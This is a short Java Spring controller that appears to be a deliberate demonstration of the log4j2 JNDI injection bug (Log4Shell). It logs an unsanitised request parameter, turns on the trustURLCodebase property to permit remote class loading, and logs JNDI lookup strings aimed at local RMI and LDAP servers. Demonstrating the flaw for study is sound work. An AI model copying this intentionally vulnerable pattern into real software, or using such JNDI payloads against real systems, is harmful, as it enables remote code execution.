package com.zhang.log4j2Bug.controller;

import lombok.extern.slf4j.Slf4j;
import org.springframework.web.bind.annotation.GetMapping;
import org.springframework.web.bind.annotation.RestController;

/**
 * @Author: zhangxuzhuang
 * @DateTime: 2021/12/23 11:43
 * @Description: 演示jndi注入bug  log4j2
 */
@Slf4j
@RestController
public class FirstController {

    @GetMapping("/demo")
    public String demo(String value) {
        log.info(value);
        System.setProperty("com.sun.jndi.ldap.object.trustURLCodebase", "true");
        log.error("${jndi:rmi://127.0.0.1:1099/Demo}");
        //log.error("${jndi:ldap://127.0.0.1:1389/Demo}");
        return "demo";
    }
}


